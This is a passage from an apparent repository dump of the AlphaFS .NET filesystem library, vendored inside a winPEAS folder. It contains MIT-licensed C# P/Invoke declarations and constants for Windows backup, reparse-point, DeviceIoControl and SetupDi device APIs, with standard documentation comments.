abort.</param>\n      /// <param name=\"bProcessSecurity\">true to process security.</param>\n      /// <param name=\"lpContext\">[out] The context.</param>\n      /// <returns>\n      ///   <para>If the function succeeds, the return value is nonzero.</para>\n      ///   <para>If the function fails, the return value is zero, indicating that an I/O error occurred. To get extended error information,\n      ///   call GetLastError.</para>\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool BackupRead(SafeFileHandle hFile, SafeGlobalMemoryBufferHandle lpBuffer, [MarshalAs(UnmanagedType.U4)] uint nNumberOfBytesToRead, [MarshalAs(UnmanagedType.U4)] out uint lpNumberOfBytesRead, [MarshalAs(UnmanagedType.Bool)] bool bAbort, [MarshalAs(UnmanagedType.Bool)] bool bProcessSecurity, ref IntPtr lpContext);\n\n\n      /// <summary>The BackupSeek function seeks forward in a data stream initially accessed by using the <see cref=\"BackupRead\"/> or\n      ///   <see cref=\"BackupWrite\"/> function.\n      ///   <para>The function reads data associated with a specified file or directory into a buffer, which can then be written to the backup\n      ///   medium using the WriteFile function.</para>\n      /// </summary>\n      /// <remarks>\n      ///   <para>Applications use the BackupSeek function to skip portions of a data stream that cause errors.</para>\n      ///   <para>This function does not seek across stream headers. For example, this function cannot be used to skip the stream name.</para>\n      ///   <para>If an application attempts to seek past the end of a substream, the function fails, the lpdwLowByteSeeked and\n      ///   lpdwHighByteSeeked parameters</para>\n      ///   <para>indicate the actual number of bytes the function seeks, and the file position is placed at the start of the next stream\n      ///   header.</para>\n      ///   <para>&#160;</para>\n      ///   <para>Minimum supported client: Windows XP [desktop apps only]</para>\n      ///   <para>Minimum supported server: Windows Server 2003 [desktop apps only]</para>\n      /// </remarks>\n      /// <param name=\"hFile\">The file.</param>\n      /// <param name=\"dwLowBytesToSeek\">The low bytes to seek.</param>\n      /// <param name=\"dwHighBytesToSeek\">The high bytes to seek.</param>\n      /// <param name=\"lpdwLowBytesSeeked\">[out] The lpdw low bytes seeked.</param>\n      /// <param name=\"lpdwHighBytesSeeked\">[out] The lpdw high bytes seeked.</param>\n      /// <param name=\"lpContext\">[out] The context.</param>\n      /// <returns>\n      ///   <para>If the function could seek the requested amount, the function returns a nonzero value.</para>\n      ///   <para>If the function could not seek the requested amount, the function returns zero. To get extended error information, call\n      ///   GetLastError.</para>\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool BackupSeek(SafeFileHandle hFile, [MarshalAs(UnmanagedType.U4)] uint dwLowBytesToSeek, [MarshalAs(UnmanagedType.U4)] uint dwHighBytesToSeek, [MarshalAs(UnmanagedType.U4)] out uint lpdwLowBytesSeeked, [MarshalAs(UnmanagedType.U4)] out uint lpdwHighBytesSeeked, ref IntPtr lpContext);\n\n\n      /// <summary>The BackupWrite function can be used to restore a file or directory that was backed up using <see cref=\"BackupRead\"/>.\n      ///   <para>Use the ReadFile function to get a stream of data from the backup medium, then use BackupWrite to write the data to the\n      ///   specified file or directory.</para>\n      ///   <para>&#160;</para>\n      /// </summary>\n      /// <remarks>\n      ///   <para>This function is not intended for use in restoring files encrypted under the Encrypted File System. Use WriteEncryptedFileRaw\n      ///   for that purpose.</para>\n      ///   <para>Minimum supported client: Windows XP [desktop apps only]</para>\n      ///   <para>Minimum supported server: Windows Server 2003 [desktop apps only]</para>\n      /// </remarks>\n      /// <param name=\"hFile\">The file.</param>\n      /// <param name=\"lpBuffer\">The buffer.</param>\n      /// <param name=\"nNumberOfBytesToWrite\">Number of bytes to writes.</param>\n      /// <param name=\"lpNumberOfBytesWritten\">[out] Number of bytes writtens.</param>\n      /// <param name=\"bAbort\">true to abort.</param>\n      /// <param name=\"bProcessSecurity\">true to process security.</param>\n      /// <param name=\"lpContext\">[out] The context.</param>\n      /// <returns>\n      ///   <para>If the function succeeds, the return value is nonzero.</para>\n      ///   <para>If the function fails, the return value is zero, indicating that an I/O error occurred. To get extended error information,\n      ///   call GetLastError.</para>\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool BackupWrite(SafeFileHandle hFile, SafeGlobalMemoryBufferHandle lpBuffer, [MarshalAs(UnmanagedType.U4)] uint nNumberOfBytesToWrite, [MarshalAs(UnmanagedType.U4)] out uint lpNumberOfBytesWritten, [MarshalAs(UnmanagedType.Bool)] bool bAbort, [MarshalAs(UnmanagedType.Bool)] bool bProcessSecurity, ref IntPtr lpContext);\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Methods/NativeMethods.Constants.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.IO;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      public static readonly bool IsAtLeastWindows8 = OperatingSystem.IsAtLeast(OperatingSystem.EnumOsName.Windows8);\n      public static readonly bool IsAtLeastWindows7 = OperatingSystem.IsAtLeast(OperatingSystem.EnumOsName.Windows7);\n      public static readonly bool IsAtLeastWindowsVista = OperatingSystem.IsAtLeast(OperatingSystem.EnumOsName.WindowsVista);\n\n      /// <summary>The FindFirstFileEx function does not query the short file name, improving overall enumeration speed.\n      /// <para>&#160;</para>\n      /// <remarks>\n      /// <para>The data is returned in a <see cref=\"WIN32_FIND_DATA\"/> structure,</para>\n      /// <para>and cAlternateFileName member is always a NULL string.</para>\n      /// <para>This value is not supported until Windows Server 2008 R2 and Windows 7.</para>\n      /// </remarks>\n      /// </summary>\n      public static readonly FINDEX_INFO_LEVELS FindexInfoLevel = IsAtLeastWindows7 ? FINDEX_INFO_LEVELS.Basic : FINDEX_INFO_LEVELS.Standard;\n\n      /// <summary>Uses a larger buffer for directory queries, which can increase performance of the find operation.</summary>\n      /// <remarks>This value is not supported until Windows Server 2008 R2 and Windows 7.</remarks>\n      public static readonly FIND_FIRST_EX_FLAGS UseLargeCache = IsAtLeastWindows7 ? FIND_FIRST_EX_FLAGS.LARGE_FETCH : FIND_FIRST_EX_FLAGS.NONE;\n\n      /// <summary>DefaultFileBufferSize = 4096; Default type buffer size used for reading and writing files.</summary>\n      public const int DefaultFileBufferSize = 4096;\n\n      /// <summary>DefaultFileEncoding = Encoding.UTF8; Default type of Encoding used for reading and writing files.</summary>\n      public static readonly Encoding DefaultFileEncoding = Encoding.UTF8;\n\n      /// <summary>MaxDirectoryLength = 255</summary>\n      internal const int MaxDirectoryLength = 255;\n\n      /// <summary>MaxPath = 260\n      /// The specified path, file name, or both exceed the system-defined maximum length.\n      /// For example, on Windows-based platforms, paths must be less than 248 characters, and file names must be less than 260 characters. \n      /// </summary>\n      internal const int MaxPath = 260;\n\n      /// <summary>MaxPathUnicode = 32700</summary>\n      internal const int MaxPathUnicode = 32700;\n\n\n      /// <summary>When an exception is raised, bit shifting is needed to prevent: \"System.OverflowException: Arithmetic operation resulted in an overflow.\"</summary>\n      internal const int OverflowExceptionBitShift = 65535;\n\n\n      /// <summary>Invalid FileAttributes = -1</summary>\n      internal const FileAttributes InvalidFileAttributes = (FileAttributes) (-1);\n\n\n\n\n      /// <summary>MAXIMUM_REPARSE_DATA_BUFFER_SIZE = 16384</summary>\n      internal const int MAXIMUM_REPARSE_DATA_BUFFER_SIZE = 16384;\n\n      /// <summary>REPARSE_DATA_BUFFER_HEADER_SIZE = 8</summary>\n      internal const int REPARSE_DATA_BUFFER_HEADER_SIZE = 8;\n\n\n      private const int DeviceIoControlMethodBuffered = 0;\n      private const int DeviceIoControlFileDeviceFileSystem = 9;\n\n      // <summary>Command to compression state of a file or directory on a volume whose file system supports per-file and per-directory compression.</summary>\n      internal const int FSCTL_SET_COMPRESSION = (DeviceIoControlFileDeviceFileSystem << 16) | (16 << 2) | DeviceIoControlMethodBuffered | (int) (FileAccess.Read | FileAccess.Write) << 14;\n\n      // <summary>Command to set the reparse point data block.</summary>\n      internal const int FSCTL_SET_REPARSE_POINT = (DeviceIoControlFileDeviceFileSystem << 16) | (41 << 2) | DeviceIoControlMethodBuffered | (0 << 14);\n      \n      /// <summary>Command to delete the reparse point data base.</summary>\n      internal const int FSCTL_DELETE_REPARSE_POINT = (DeviceIoControlFileDeviceFileSystem << 16) | (43 << 2) | DeviceIoControlMethodBuffered | (0 << 14);\n\n      /// <summary>Command to get the reparse point data block.</summary>\n      internal const int FSCTL_GET_REPARSE_POINT = (DeviceIoControlFileDeviceFileSystem << 16) | (42 << 2) | DeviceIoControlMethodBuffered | (0 << 14);\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Native Methods/NativeMethods.DeviceManagement.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing Microsoft.Win32.SafeHandles;\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Runtime.InteropServices;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      #region CM_Xxx\n\n      /// <summary>The CM_Connect_Machine function creates a connection to a remote machine.</summary>\n      /// <remarks>\n      ///   <para>Beginning in Windows 8 and Windows Server 2012 functionality to access remote machines has been removed.</para>\n      ///   <para>You cannot access remote machines when running on these versions of Windows.</para>\n      ///   <para>Available in Microsoft Windows 2000 and later versions of Windows.</para>\n      /// </remarks>\n      /// <param name=\"uncServerName\">Name of the unc server.</param>\n      /// <param name=\"phMachine\">[out] The ph machine.</param>\n      /// <returns>\n      ///   <para>If the operation succeeds, the function returns CR_SUCCESS.</para>\n      ///   <para>Otherwise, it returns one of the CR_-prefixed error codes defined in Cfgmgr32.h.</para>\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"setupapi.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"CM_Connect_MachineW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.I4)]\n      public static extern int CM_Connect_Machine([MarshalAs(UnmanagedType.LPWStr)] string uncServerName, out SafeCmConnectMachineHandle phMachine);\n\n      /// <summary>\n      ///   The CM_Get_Device_ID_Ex function retrieves the device instance ID for a specified device instance on a local or a remote machine.\n      /// </summary>\n      /// <remarks>\n      ///   <para>Beginning in Windows 8 and Windows Server 2012 functionality to access remote machines has been removed.</para>\n      ///   <para>You cannot access remote machines when running on these versions of Windows.</para>\n      ///   <para>&#160;</para>\n      ///   <para>Available in Microsoft Windows 2000 and later versions of Windows.</para>\n      /// </remarks>\n      /// <param name=\"dnDevInst\">The dn development instance.</param>\n      /// <param name=\"buffer\">The buffer.</param>\n      /// <param name=\"bufferLen\">Length of the buffer.</param>\n      /// <param name=\"ulFlags\">The ul flags.</param>\n      /// <param name=\"hMachine\">The machine.</param>\n      /// <returns>\n      ///   <para>If the operation succeeds, the function returns CR_SUCCESS.</para>\n      ///   <para>Otherwise, it returns one of the CR_-prefixed error codes defined in Cfgmgr32.h.</para>\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"setupapi.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"CM_Get_Device_ID_ExW\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.I4)]\n      public static extern int CM_Get_Device_ID_Ex([MarshalAs(UnmanagedType.U4)] uint dnDevInst, SafeGlobalMemoryBufferHandle buffer, [MarshalAs(UnmanagedType.U4)] uint bufferLen, [MarshalAs(UnmanagedType.U4)] uint ulFlags, SafeCmConnectMachineHandle hMachine);\n\n      /// <summary>\n      ///   The CM_Disconnect_Machine function removes a connection to a remote machine.\n      /// </summary>\n      /// <remarks>\n      ///   <para>Beginning in Windows 8 and Windows Server 2012 functionality to access remote machines has been removed.</para>\n      ///   <para>You cannot access remote machines when running on these versions of Windows.</para>\n      ///   <para>SetLastError is set to <c>false</c>.</para>\n      ///   <para>Available in Microsoft Windows 2000 and later versions of Windows.</para>\n      /// </remarks>\n      /// <param name=\"hMachine\">The machine.</param>\n      /// <returns>\n      ///   <para>If the operation succeeds, the function returns CR_SUCCESS.</para>\n      ///   <para>Otherwise, it returns one of the CR_-prefixed error codes defined in Cfgmgr32.h.</para>\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"setupapi.dll\", SetLastError = false, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.I4)]\n      internal static extern int CM_Disconnect_Machine(IntPtr hMachine);\n\n      /// <summary>\n      ///   The CM_Get_Parent_Ex function obtains a device instance handle to the parent node of a specified device node (devnode) in a local\n      ///   or a remote machine's device tree.\n      /// </summary>\n      /// <remarks>\n      ///   <para>Beginning in Windows 8 and Windows Server 2012 functionality to access remote machines has been removed.</para>\n      ///   <para>You cannot access remote machines when running on these versions of Windows.</para>\n      ///   <para>Available in Microsoft Windows 2000 and later versions of Windows.</para>\n      /// </remarks>\n      /// <param name=\"pdnDevInst\">[out] The pdn development instance.</param>\n      /// <param name=\"dnDevInst\">The dn development instance.</param>\n      /// <param name=\"ulFlags\">The ul flags.</param>\n      /// <param name=\"hMachine\">The machine.</param>\n      /// <returns>\n      ///   <para>If the operation succeeds, the function returns CR_SUCCESS.</para>\n      ///   <para>Otherwise, it returns one of the CR_-prefixed error codes defined in Cfgmgr32.h.</para>\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"setupapi.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.I4)]\n      internal static extern int CM_Get_Parent_Ex([MarshalAs(UnmanagedType.U4)] out uint pdnDevInst, [MarshalAs(UnmanagedType.U4)] uint dnDevInst, [MarshalAs(UnmanagedType.U4)] uint ulFlags, SafeCmConnectMachineHandle hMachine);\n\n      #endregion // CM_Xxx\n\n      #region DeviceIoControl\n\n      /// <summary>Sends a control code directly to a specified device driver, causing the corresponding device to perform the corresponding operation.</summary>\n      /// <returns>\n      ///   <para>If the operation completes successfully, the return value is nonzero.</para>\n      ///   <para>If the operation fails or is pending, the return value is zero. To get extended error information, call GetLastError.</para>\n      /// </returns>\n      /// <remarks>\n      ///   <para>To retrieve a handle to the device, you must call the <see cref=\"CreateFile\"/> function with either the name of a device or\n      ///   the name of the driver associated with a device.</para>\n      ///   <para>To specify a device name, use the following format: <c>\\\\.\\DeviceName</c></para>\n      ///   <para>Minimum supported client: Windows XP</para>\n      ///   <para>Minimum supported server: Windows Server 2003</para>\n      /// </remarks>\n      /// <param name=\"hDevice\">The device.</param>\n      /// <param name=\"dwIoControlCode\">The i/o control code.</param>\n      /// <param name=\"lpInBuffer\">Buffer for in data.</param>\n      /// <param name=\"nInBufferSize\">Size of the in buffer.</param>\n      /// <param name=\"lpOutBuffer\">Buffer for out data.</param>\n      /// <param name=\"nOutBufferSize\">Size of the out buffer.</param>\n      /// <param name=\"lpBytesReturned\">[out] The bytes returned.</param>\n      /// <param name=\"lpOverlapped\">The overlapped.</param>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool DeviceIoControl(SafeFileHandle hDevice, [MarshalAs(UnmanagedType.U4)] uint dwIoControlCode, IntPtr lpInBuffer, [MarshalAs(UnmanagedType.U4)] uint nInBufferSize, SafeGlobalMemoryBufferHandle lpOutBuffer, [MarshalAs(UnmanagedType.U4)] uint nOutBufferSize, [MarshalAs(UnmanagedType.U4)] out uint lpBytesReturned, IntPtr lpOverlapped);\n\n      /// <summary>Sends a control code directly to a specified device driver, causing the corresponding device to perform the corresponding operation.</summary>\n      /// <returns>\n      ///   <para>If the operation completes successfully, the return value is nonzero.</para>\n      ///   <para>If the operation fails or is pending, the return value is zero. To get extended error information, call GetLastError.</para>\n      /// </returns>\n      /// <remarks>\n      ///   <para>To retrieve a handle to the device, you must call the <see cref=\"CreateFile\"/> function with either the name of a device or\n      ///   the name of the driver associated with a device.</para>\n      ///   <para>To specify a device name, use the following format: <c>\\\\.\\DeviceName</c></para>\n      ///   <para>Minimum supported client: Windows XP</para>\n      ///   <para>Minimum supported server: Windows Server 2003</para>\n      /// </remarks>\n      /// <param name=\"hDevice\">The device.</param>\n      /// <param name=\"dwIoControlCode\">The i/o control code.</param>\n      /// <param name=\"lpInBuffer\">Buffer for in data.</param>\n      /// <param name=\"nInBufferSize\">Size of the in buffer.</param>\n      /// <param name=\"lpOutBuffer\">Buffer for out data.</param>\n      /// <param name=\"nOutBufferSize\">Size of the out buffer.</param>\n      /// <param name=\"lpBytesReturned\">[out] The bytes returned.</param>\n      /// <param name=\"lpOverlapped\">The overlapped.</param>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"DeviceIoControl\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool DeviceIoControl2(SafeFileHandle hDevice, [MarshalAs(UnmanagedType.U4)] uint dwIoControlCode, SafeGlobalMemoryBufferHandle lpInBuffer, [MarshalAs(UnmanagedType.U4)] uint nInBufferSize, IntPtr lpOutBuffer, [MarshalAs(UnmanagedType.U4)] uint nOutBufferSize, [MarshalAs(UnmanagedType.U4)] out uint lpBytesReturned, IntPtr lpOverlapped);\n\n      /// <summary>Sends a control code directly to a specified device driver, causing the corresponding device to perform the corresponding operation.</summary>\n      /// <returns>\n      ///   <para>If the operation completes successfully, the return value is nonzero.</para>\n      ///   <para>If the operation fails or is pending, the return value is zero. To get extended error information, call GetLastError.</para>\n      /// </returns>\n      /// <remarks>\n      ///   <para>To retrieve a handle to the device, you must call the <see cref=\"CreateFile\"/> function with either the name of a device or\n      ///   the name of the driver associated with a device.</para>\n      ///   <para>To specify a device name, use the following format: <c>\\\\.\\DeviceName</c></para>\n      ///   <para>Minimum supported client: Windows XP</para>\n      ///   <para>Minimum supported server: Windows Server 2003</para>\n      /// </remarks>\n      /// <param name=\"hDevice\">The device.</param>\n      /// <param name=\"dwIoControlCode\">The i/o control code.</param>\n      /// <param name=\"lpInBuffer\">Buffer for in data.</param>\n      /// <param name=\"nInBufferSize\">Size of the in buffer.</param>\n      /// <param name=\"lpOutBuffer\">Buffer for out data.</param>\n      /// <param name=\"nOutBufferSize\">Size of the out buffer.</param>\n      /// <param name=\"lpBytesReturned\">[out] The bytes returned.</param>\n      /// <param name=\"lpOverlapped\">The overlapped.</param>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = \"DeviceIoControl\"), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool DeviceIoControlUnknownSize(SafeFileHandle hDevice, [MarshalAs(UnmanagedType.U4)] uint dwIoControlCode, [MarshalAs(UnmanagedType.AsAny)] object lpInBuffer, [MarshalAs(UnmanagedType.U4)] uint nInBufferSize, [MarshalAs(UnmanagedType.AsAny)] [Out] object lpOutBuffer, [MarshalAs(UnmanagedType.U4)] uint nOutBufferSize, [MarshalAs(UnmanagedType.U4)] out uint lpBytesReturned, IntPtr lpOverlapped);\n\n      #endregion // DeviceIoControl\n\n      #region SetupDiXxx\n\n      /// <summary>\n      ///   The SetupDiDestroyDeviceInfoList function deletes a device information set and frees all associated memory.\n      /// </summary>\n      /// <remarks>\n      ///   <para>SetLastError is set to <c>false</c>.</para>\n      ///   <para>Available in Microsoft Windows 2000 and later versions of Windows.</para>\n      /// </remarks>\n      /// <param name=\"hDevInfo\">Information describing the development.</param>\n      /// <returns>\n      ///   <para>The function returns TRUE if it is successful.</para>\n      ///   <para>Otherwise, it returns FALSE and the logged error can be retrieved with a call to GetLastError.</para>\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"setupapi.dll\", SetLastError = false, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      private static extern bool SetupDiDestroyDeviceInfoList(IntPtr hDevInfo);\n\n      /// <summary>\n      ///   The SetupDiEnumDeviceInterfaces function enumerates the device interfaces that are contained in a device information set.\n      /// </summary>\n      /// <remarks>\n      ///   <para>Repeated calls to this function return an <see cref=\"SP_DEVICE_INTERFACE_DATA\"/> structure for a different device\n      ///   interface.</para>\n      ///   <para>This function can be called repeatedly to get information about interfaces in a device information set that are\n      ///   associated</para>\n      ///   <para>with a particular device information element or that are associated with all device information elements.</para>\n      ///   <para>Available in Microsoft Windows 2000 and later versions of Windows.</para>\n      /// </remarks>\n      /// <param name=\"hDevInfo\">Information describing the development.</param>\n      /// <param name=\"devInfo\">Information describing the development.</param>\n      /// <param name=\"interfaceClassGuid\">[in,out] Unique identifier for the interface class.</param>\n      /// <param name=\"memberIndex\">Zero-based index of the member.</param>\n      /// <param name=\"deviceInterfaceData\">[in,out] Information describing the device interface.</param>\n      /// <returns>\n      ///   <para>SetupDiEnumDeviceInterfaces returns TRUE if the function completed without error.</para>\n      ///   <para>If the function completed with an error, FALSE is returned and the error code for the failure can be retrieved by calling\n      ///   GetLastError.</para>\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"setupapi.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      [return: MarshalAs(UnmanagedType.Bool)]\n      internal static extern bool SetupDiEnumDeviceInterfaces(SafeHandle hDevInfo, IntPtr devInfo, ref Guid interfaceClassGuid, [MarshalAs(UnmanagedType.U4)] uint memberIndex, ref SP_DEVICE_INTERFACE_DATA deviceInterfaceData);\n\n      /// <summary>\n      ///   The SetupDiGetClassDevsEx function returns a handle to a device information set that contains requested device information elements\n      ///   for a local or a remote computer.\n      /// </summary>\n      /// <remarks>\n      ///   <para>The caller of SetupDiGetClassDevsEx must delete the returned device information set when it is no longer needed by calling\n      ///   <see cref=\"SetupDiDestroyDeviceInfoList\"/>.</para>\n      ///   <para>Available in Microsoft Windows 2000 and later versions of Windows.</para>\n      /// </remarks>\n      /// <param name=\"classGuid\">[in,out] Unique identifier for the class.</param>\n      /// <param name=\"enumerator\">The enumerator.</param>\n      /// <param name=\"hwndParent\">The parent.</param>\n      /// <param name=\"devsExFlags\">The devs ex flags.</param>\n      /// <param name=\"deviceInfoSet\">Set the device information belongs to.</param>\n      /// <param name=\"machineName\">Name of the machine.</param>\n      /// <param name=\"reserved\">The reserved.</param>\n      /// <returns>\n      ///   <para>If the operation succeeds, SetupDiGetClassDevsEx returns a handle to a device information set that contains all installed\n      ///   devices that matched the supplied parameters.</para>\n      ///   <para>If the operation fails, the function returns INVALID_HANDLE_VALUE. To get extended error information, call\n      ///   GetLastError.</para>\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      [DllImport(\"setupapi.dll\", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]\n      internal static extern SafeSetupDiClassDevsExHandle SetupDiGetClassDevsEx(ref Guid classGuid, IntPtr enumerator, IntPtr hwndParent, [MarshalAs(UnmanagedType.U4)] SetupDiGetClassDevsExFlags devsExFlags, IntPtr deviceInfoSet, [MarshalAs(UnmanagedType.LPWStr)] string machineName, IntPtr reserved);\n\n      /// <summary>\n      ///   The SetupDiGetDeviceInterfaceDetail function returns details about a device interface.\n      /// </summary>\n      /// <remarks>\n      ///   <para>The interface detail returned by this function consists of a device path that can be passed to Win32 functions such as\n      ///   CreateFile.</para>\n      ///   <para>Do not attempt to parse the device path symbolic name. The device path can be reused across system starts.</para>\n      ///   <para>Available in Microsoft Windows 2000 and later versions of Windows.</para>\n      /// </remarks>\n      /// <param name=\"hDevInfo\">Information describing the development.</param>\n      /// <param name=\"deviceInterfaceData\">[in,out] Information describing the device interface.</param>\n      /// <param name=\"deviceInterfaceDetailData\">[in,out] Information describing the device interface detail.</param>\n      /// <param name=\"deviceInterfaceDetailDataSize\">Size of the device interface detail data.</param>\n      /// <param name=\"requiredSize\">Size of the required.</param>\n      /// <param name=\"deviceInfoData\">[in,out] Information describing the device information.</param>\n      /// <returns>\n      ///   <para>SetupDiGetDeviceInterfaceDetail returns TRUE if the function completed without error.</para>\n      ///   <para>If the function completed with an error, FALSE is returned and the error code for the failure can be retrieved by calling\n      ///   GetLastError.</para>\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2118:ReviewSuppressUnmanagedCodeSecurityUsage\"), SuppressMessage(\"Microsoft.Security\", \"CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule\")]\n      